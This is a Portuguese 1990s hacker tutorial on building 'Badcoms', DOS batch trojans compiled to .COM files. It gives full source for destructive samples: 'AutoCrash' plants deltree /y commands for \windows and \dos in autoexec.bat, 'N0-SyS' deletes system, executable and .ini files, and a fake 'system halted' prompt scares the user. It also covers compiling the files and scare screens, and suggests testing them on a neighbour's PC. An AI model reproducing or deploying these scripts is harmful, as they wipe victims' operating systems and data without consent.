---------------------------------------------------------------------
Este texto foi produzido por SeQ MaSsÎvE e é totalmente proibida a
edição, ou roubo de informações contidas no mesmo.
Texto editado no programa Notepad do Windows 95
---------------------------------------------------------------------
Introdução:
Badcom's são pequenos arquivos (.COM) que quando executados, eles re-
alizam tarefas em um determinado computador... ou seja, são programas
que faz com que um PC realize comandos quanto do DOS quanto do Windows.
Para isto vc deve fazer um arquvi de LOTE com os comandos e compilalo
O Mais famoso compilador de arquivos de LOTE (.BAT) é o BAT2EXE.COM.
Para adquiri-lo vc pode me mandar um E-mail que lhe passarei o arquivo.
Indice:
I Comandos Básicos e inofencivos.
II Comandos Ofencivos.
III Alguns comandos avançados em arquivos de LOTE.
IV Exemplos Inofencivos.
V Exemplos destrutivos.
VI Como compilar um Badcom e seus Bugs e FAQ.
VII Usando Telas ANSI em BaDcOms.
! Sobre o autor e como contacta-lo.
I Comandos Básicos
------------------
@ECHO OFF
Comando para não ser mostrados as linhas de comando em uma janela do
MS-DOS, Exemplo: Colocando o comando DIR em um Badcom sem o @ECHO OFF
no prompt ele mostrará o comando escrito na janela.. C:\>DIR
Com o comando @ECHO OFF, ele simplesmente elimina os digitos dos
comandos a serem mostrados.
CLS
Comando do MS-DOS, para limpar a tela.
ECHO
Para desativar o comando @ECHO OFF, e mostrar caracteres em uma janela
Exemplo: ECHO "Mensagem" Irá mostrar a mensagem na janela, após isso
automáticamente retorna a não aparição de comandos na Janela.
Criando arquivos com o comando ECHO:
Para criar um arquivo com este comando, é necessário o comando >,
exemplo: ECHO > Nomedoarquivo.extenção
Irá criar o arquivo no ambiente do MS-DOS...
Para criar arquivos com textos ou comandos, é necessário fazer o
seguinte comando:
ECHO > ARQ.EXT "Comando ou mensagem" OBS: As aspas são apenas para
indicação porém em comandos não funcionam as aspas.
Ex: ECHO SEQ.BAT DIR
Irá criar um arquivo chamado SEQ.BAT (Arquivo de Lote) Com o comando
DIR dentro do mesmo.
ATTRIB
Este comando permite que vc esconda um determinado arquivo, torne-o
somente para leitura, ou torne arquivo do sistema.
Para esconder um arquivo: Digite dentro do Badcom:
Para obter os comandos simplesmente digite na janela do MS-DOS:
ATTRIB /?
MD
Para Criar diretórios
Ex: MD NOMEDODIR
RD
Comando para Desfazer pastas vazias.
EX: RD PASTAVAZIA
PROGRAMAS !!
Não é um comando.. heheh... é que nos Badcom's são muito util o uso
de programas comuns, como os padrões do Windows 95.
Exemplo: O Programa Notepad.exe do Windows 95, para ele ser executado,
apartir de um Badcom, vc deve coloca-lo na linha de comando..
NOTEPAD.EXE
Para executar o programa apartir de um Badcom... no BAT coloque da
segunite forma:
@echo off
cls
notepad.exe <--- Não é nescessário colocar o Path do Windows 95, pois
Sendo executado durante o Windows, não acontecerá
erros de não achar o programa..
Se quizer abrir textos com o tal programa !
notepad.exe arquivo.txt
II Comandos Ofencivos.
----------------------
DEL ou DELETE
Para apagar arquivos, no Badcom é usado da seguinte maneira,
Para deletar arquivos sem ter problemas de BUG, é necessário fazer com
que o comando não tenha a opção (*.*), pois surgirá um prompt de
confirmação de exclusão.
Digite então da seguinte maneira:
DEL *.Extenção, exemplo.. para apagar os arquivos .INI do diretório
do Windows: del Drive:\windir\*.ini ou use:
drive:
cd\
cd windir
del *.ini
DELTREE
Muitos não tem conhecimento do que este comando pode causar em um
sistema, pois é usado da maneira básica...
Este "pode ser" o Mais perigoso comando contido em um Badcom.
Uso com BUG:
DELTREE DIRETORIO
Com este comando, aparecerá a confirmação de exclusão do diretório,
será muito dificíl alguém responder SIM a pergunta não ???
Bem, vou informar o perigo deste comando...
Há uma opção no DELTREE que evita a aparição do prompt de confirmação,
sendo ela a mais destrutiva, deletando todos os arquivos de um dir.
Bom, para usar o Deltree de forma destrutiva basta acrecentar a opção
/Y no mesmo, Exemplo:
C:\>Deltree /y windows
Excluindo windows...
hehe, gostaram não ??? mas vou falar uma coisa... tentem usar os
Badcom's de forma inofenciva, evitando assim trastornos futuros..
Ahh, não vai testar em seu PC igual eu fiz no meu não.... tive que
reisntalar o Windows novamente, hehe ! Teste no vizinho...
REN
Além de não afetar muito em um sistema, o Rename é um comando que pode
causar dor de cabeça ao usuario atacado.. ex:
use o REN em diversos arquivos...
REN command.com command.seunick
REN Autoexec.bat autoexec.SeQ
e assim vai...
Bem estes são alguns comandos destrutiveis, para se aperfeiçoar nos
Comandos do MS-dos vc pode consultar o proprio HELP do Ms-dos, ele
lhe dará varias informações, como no FORMAT e etc..
III Alguns comandos avançados em arquivos de LOTE.
--------------------------------------------------
GOTO
Este comando faz com que o BAT pule ou volte para determinada parte do
Programa.
Exemplo: O uso do GOTO é muito usado se quizer que não pare de repetir
determinado comando ... usando o comando CLS, veja:
@echo off
:INI <-- Indica a parte do programa onde vai ser voltado o comando
Cls Usa-se dois ponto antes, outros exemplos são :START
:COMEÇO, :SEQ
GOTO INI <-- Aqui o comando GOTO, para voltar para o alvo indicado.
CHOICE
Comando que possibilita um prompt, exemplo:
CHOICE /c123456789
Para numeros ou letras é necessário o uso do /c, sem este comando
somente CHOICE, mostrará o prompt: [Y,n]?
Com o /c e os numeros irá mostrar: [1,2,3,4,5,6,7,8,9]?
Este comando precisa de um complemento, leia em: IF e Errorlevel
IF e ERRORLEVEL
Este é muito usado em Badcom's, ele possibilita o desenvolvimento de
questões e prompts para o usuario.
exemplo: este comando eu uso muito em pegadinhas e perguntas sacanas,
cada vez que o usuario erra a pergunta alguns arquivos são apagados.
Segudo também do comando CHOICE
Segue a string....
@echo off
cls
echo Seu sistema paralizou, o que deseja fazer ?
echo [1] Reiniciar
echo [2] Desligar
choice /c12 <-- Mostrará o prompt [1,2]?
if errorlevel 2 goto DES <- aqui o comando if e errorlevel, sendo
if errorlevel 1 goto REI se o usuario precionar o 1, ele irá
reiniciar o sistema
Percebe-se que a posição das strings começa do 2 e depois vai para o 1.
Qualquer dúvida nesta parte do badcom fale comigo!
IV Exemplos Inofencivos.
-------------------------
Como é para Ms-Dos alguns caracteres não aparecem de forma correta,
mas compilado sim.
--------------Recortar----------------
@echo off
cls
echo BaDcOm By SeQ MaSs×vE
echo NaMe Of BaDcOm: AsK/v2.0
echo þ
echo Your System now is my !!!
echo Please, to ta'ke this fu'king PC co'm Bac'k Answe'r thE shI't
echo Que'stio'n.......................... H'e's...
echo þþþþ HoW tO mAkE a ViRu's ? þþþþ
echo [1] Sorr'y i'm a fucking LammmArrrsss !
echo [2] Don't Ask u MoTheFuCk's
echo [3] ....
echo [4] What's a viRu's ??????????????????????????
Choice /n/c1234
if errorlevel 4 goto END
if errorlevel 3 goto END
if errorlevel 2 goto END
if errorlevel 1 goto END
:END
Cls
:OPS
echo ... HeY, u FuCkeD nOw....
echo ... PleAsE ReStaRt ThE FuCkiNg HdD forMatEd..
GoTo OPS
--------------Recortar----------------
@echo off
cls
echo BaDcOm By SeQ MaSs×vE
echo NamE of BadcoM: NoTePaD/V3.1
echo > note1.txt It's a BaDcOm.....
echo > note2.txt This Badcom show's messages to ya....
echo > note3.txt BaDcOm'r a (TM) oF SeQ MaSsIvE...
echo > note4.txt PlEaSe, press Ctrl+Alt+dEl for Stop'it !
echo > note5.txt ThAnXXX.........
:INI
notepad note1.txt
notepad note2.txt
notepad note3.txt
notepad note4.txt
notepad note5.txt
Copy *.txt \windows\menuin~1\iniciar\
GOTO INI
--------------Recortar----------------
@echo off
:ini
echo BaDcOm By SeQ MaSs×vE
echo NaMe: ClS2.0
cls
echo > Leiame.txt Exemplo de um simples Badcom... By SeQ MaSsIvE..
goto ini
--------------Recortar----------------
V Exemplos destrutivos.
-------------------------
--------------Recortar----------------
@echo off
cls
echo BaDcOm By SeQ MaSs×vE
echo NaMe Of BaDcOm: AuToCrAsh/v2.0
cd\
del autoexec.bat
echo autoexec.1 @echo off
echo autoexec.2 cls
echo autoexec.3 deltree /y \windows\
echo autoexec.4 deltree /y \dos\
echo autoexec.5 deltree /y \meusdo~1\
echo autoexec.bat
copy autoexec.* autoexec.bat
del *.1
del *.2
del *.3
del *.4
del *.5
echo ThaNx fOr UsE SeQ MaSs×vE's BaDcOm AutocrasH v2.0
--------------Recortar----------------
@echo off
cls
echo Badcom By SeQ mAss×vE.........
echo NamE: No InI's 2.01
cd\
echo Searching....
cd win
cd windows
cd wind
cd windos
cd win95
cd wind95
cd win-95
del *.ini
--------------Recortar----------------
@echo off
cls
echo Badcom By SeQ mAss×vE.........
echo NaME: N0-SyS 1.0
cd\
del *.bat
del *.sys
del *.com
echo > config.sys
echo > autoexec.bat
cd windows
copy *.ini \autoexec.bat
copy *.ini \config.sys
del *.ini
del *.exe
deltree /y command
deltree /y system
attrib +h *.*
cd\
attrib +h *.*
--------------Recortar----------------
VI Como compilar um Badcom e seus Bugs e FAQ.
----------------------------------------------
Para compilar um Badcom ele deve estar nomeado para nomedoarq.BAT
Use o programa BAT2EXE.COM, o mais conhecido compilador BAT.
Usando o Bat2exe.com
após editar o Badcom em qualquer editor de textos.. (o Mais usado é
o EDIT do Ms-dos, pois não ocorrem erros de caracteres no ambiente
MS-DOS) use a sintaxe:
bat2exe nomedoarq.bat
apague o original ou renomeie, e execute o nomedoarq.COM para teste..
Claro que Badcom's somente para assustar.
Há alguns Bugs ao compilar um Badcom, se tiver problemas leia este FAQ
sobre badcom's vindo de minha antiga BBS, ou me contate pelo meu UIN,
no final deste texto.
1) O Bat2exe não está compilando meu badcom com telas ANSI.
R: Ocorre um erro de telas ANSI se não inserir o comando echo antes de
cara linha da programação ANSI.
exemplo de uma linha ANSI
[0;36m³ÌÍ[1mÍÊË´
O Programa Bat2exe não reconhece a linguagem ANSI, vc deve iserir o
comando echo antes da linha:
echo [0;36m³ÌÍ[1mÍÊË´
Assim irá compilar normalmente.
2) Meu badcom quando executado trava, o que e isso ?
R: Isso depende da versão so programa Bat2exe e de sua versão do MS-dos,
o programa bat2exe compila linhas DELETE para DEL, ocorrendo erros
na sua versão ms-Dos.
3) o programa bat2exe não esta compilando meu badcom, ja fiz de tudo
e esta tudo correto. qual o problema?
R: O Programa bat2exe como todo programa compilador, tem suas
restrições, uma delas é o numero de linhas de um badcom, se o badcom
for muito grande e conter varias telas ANSI, ele não compilará,
o programa não compila muitas telas ANSI iguais no mesmo arquivo.
VII Usando Telas ANSI em BaDcOms.
---------------------------------
Telas ANSI são muito uteis em u Badcom, elas assustam quando o usuario
estiver com o programa ANSI.SYS carregado no config.sys.
Para fazer telas ANSI, vc pode ou ler o HELP do MS-dos e editar em
um texto, que é muito demorado, ou pegar um programa que edita
telas ANSI, o mais famoso é o THEDRAW, editor de telas ANSI, @-code,
ASCII, etc.. para sistemas de BBS (Bulletin Board System).
Após editar a telas ANSI, ela se parace com isto quando visto em um
editor comum:
[?7h[40m[2J[40m
[0;1m [0mÚËÍ[1mÍËÄ¿ [0mÚËÍ[1mÍÍË¿ [0mÚËÍ[1mÍËÄ¿ [0mÚËÍ[1mÍÍË¿ [0mÚËÍ[1mÍÍË¿ [0mÚËÍ[1mËÍË¿
[0;36m³ÌÍ[1mÍÊË´ [0;36mÃÎÍ[1mÍÍδ [0;36m³º [1mÈË´ [0;36m³º[6C³º [1mº³ [0;36m³º [1mº º³
[0;34mÀÊÍ[1mÍÍÊÙ [0;34mÀÊ [1mÊÙ [0;34mÀÊÍ[1mÍÍÊÙ [0;34mÀÊÍ[1mÍÍÊÙ [0;34mÀÊÍ[1mÍÍÊÙ [0;34mÀÊ [1mÊÙ
[16C[0mÚËÍ[1mÍË¿ [0mÚË [1mË¿
[16C[0;36m³ÌÍ[1mÍÊË¿ [0;36mÀÊÍ[1mÍ͹³
[16C[0;34mÀÊÍ[1mÍÍÊÙ [0;34mÀÊÍ[1mÍÍÊÙ
[13C[0mÚËÍ[1mÍÍË¿ [0mÚËÍ[1mÍÍË¿ [0mÚËÍ[1mÍÍË¿
[13C[0;36mÀÊÍ[1mÍÍË¿ [0;36mÃÎÍ[1mÍ [0;36m³º [1mº³
[13C[0;34mÀÊÍ[1mÍÍÊÙ [0;34mÀÊÍ[1mÍÍÊÙ [0;34mÀÊÍ[1mÍÎÊÙ
[0mÚËÍ[1mËÍË¿ [0mÚËÍ[1mÍÍË¿ [0mÚËÍ[1mÍÍË¿ [0mÚËÍ[1mÍÍË¿ [0mÚËÍ[1mËÍË¿ [0mÚË [1mË¿ [0mÚËÍ[1mÍÍË¿
[0;36m³º [1mº º³ [0;36mÃÎÍ[1mÍÍδ [0;36mÀÊÍ[1mÍÍË¿ [0;36mÀÊÍ[1mÍÍË¿ º [0;36m³º [1mɼ٠[0;36mÃÎÍ[1mÍ
[0;34mÀÊ [1mÊÙ [0;34mÀÊ [1mÊÙ [0;34mÀÊÍ[1mÍÍÊÙ [0;34mÀÊÍ[1mÍÍÊÙ [0;34mÀÊÍ[1mÊÍÊÙ [0;34mÀÊ[1mͼ [0;34mÀÊÍ[1mÍÍÊÙ
[0m[255D
Para passar isto para um badcom, vc precisa copiar e colar para o
Badcom, mas quando colar o Badcom, vc precisa tronar isto em forma BAT,
simplesmente coloque o comando ECHO antes de cada linha, não esquecendo
de dar um espaço após o comando, veja a seguir o ANSI em forma BAT:
echo [?7h[40m[2J[40m
echo [0;1m [0mÚËÍ[1mÍËÄ¿ [0mÚËÍ[1mÍÍË¿ [0mÚËÍ[1mÍËÄ¿ [0mÚËÍ[1mÍÍË¿ [0mÚËÍ[1mÍÍË¿ [0mÚËÍ[1mËÍË¿
echo [0;36m³ÌÍ[1mÍÊË´ [0;36mÃÎÍ[1mÍÍδ [0;36m³º [1mÈË´ [0;36m³º[6C³º [1mº³ [0;36m³º [1mº º³
echo [0;34mÀÊÍ[1mÍÍÊÙ [0;34mÀÊ [1mÊÙ [0;34mÀÊÍ[1mÍÍÊÙ [0;34mÀÊÍ[1mÍÍÊÙ [0;34mÀÊÍ[1mÍÍÊÙ [0;34mÀÊ [1mÊÙ
echo [16C[0mÚËÍ[1mÍË¿ [0mÚË [1mË¿
echo [16C[0;36m³ÌÍ[1mÍÊË¿ [0;36mÀÊÍ[1mÍ͹³
echo [16C[0;34mÀÊÍ[1mÍÍÊÙ [0;34mÀÊÍ[1mÍÍÊÙ
echo [13C[0mÚËÍ[1mÍÍË¿ [0mÚËÍ[1mÍÍË¿ [0mÚËÍ[1mÍÍË¿
echo [13C[0;36mÀÊÍ[1mÍÍË¿ [0;36mÃÎÍ[1mÍ [0;36m³º [1mº³
echo [13C[0;34mÀÊÍ[1mÍÍÊÙ [0;34mÀÊÍ[1mÍÍÊÙ [0;34mÀÊÍ[1mÍÎÊÙ
echo [0mÚËÍ[1mËÍË¿ [0mÚËÍ[1mÍÍË¿ [0mÚËÍ[1mÍÍË¿ [0mÚËÍ[1mÍÍË¿ [0mÚËÍ[1mËÍË¿ [0mÚË [1mË¿ [0mÚËÍ[1mÍÍË¿
echo [0;36m³º [1mº º³ [0;36mÃÎÍ[1mÍÍδ [0;36mÀÊÍ[1mÍÍË¿ [0;36mÀÊÍ[1mÍÍË¿ º [0;36m³º [1mɼ٠[0;36mÃÎÍ[1mÍ
echo [0;34mÀÊ [1mÊÙ [0;34mÀÊ [1mÊÙ [0;34mÀÊÍ[1mÍÍÊÙ [0;34mÀÊÍ[1mÍÍÊÙ [0;34mÀÊÍ[1mÊÍÊÙ [0;34mÀÊ[1mͼ [0;34mÀÊÍ[1mÍÍÊÙ
echo [0m[255D
Com os badcom's vc pode fazer muitas coisas alé, destas que acabei
de explicar, como por exemplo, mexer na memória do PC, e criar
diretórios de impossível acesso para o Windows 95 ou 3.11.
! Sobre o autor e como contacta-lo.
-------------------------------------
Meu nick é SeQ MaSsÎvE, e vc's podem me encontar na Internet atravéz
do ICQ (I Seek You), meu UIN (Universal Internet Number) é 1292685,
vc's tambem podem enviar E-mails para [email protected]
Obrigado por ler este texto , e se tiverem dúvidas, sugestões e
principalmente criticas, mande mensagens.. Obrigado!
SeQ MaSsÎvE.
---------------------------------------------------------------------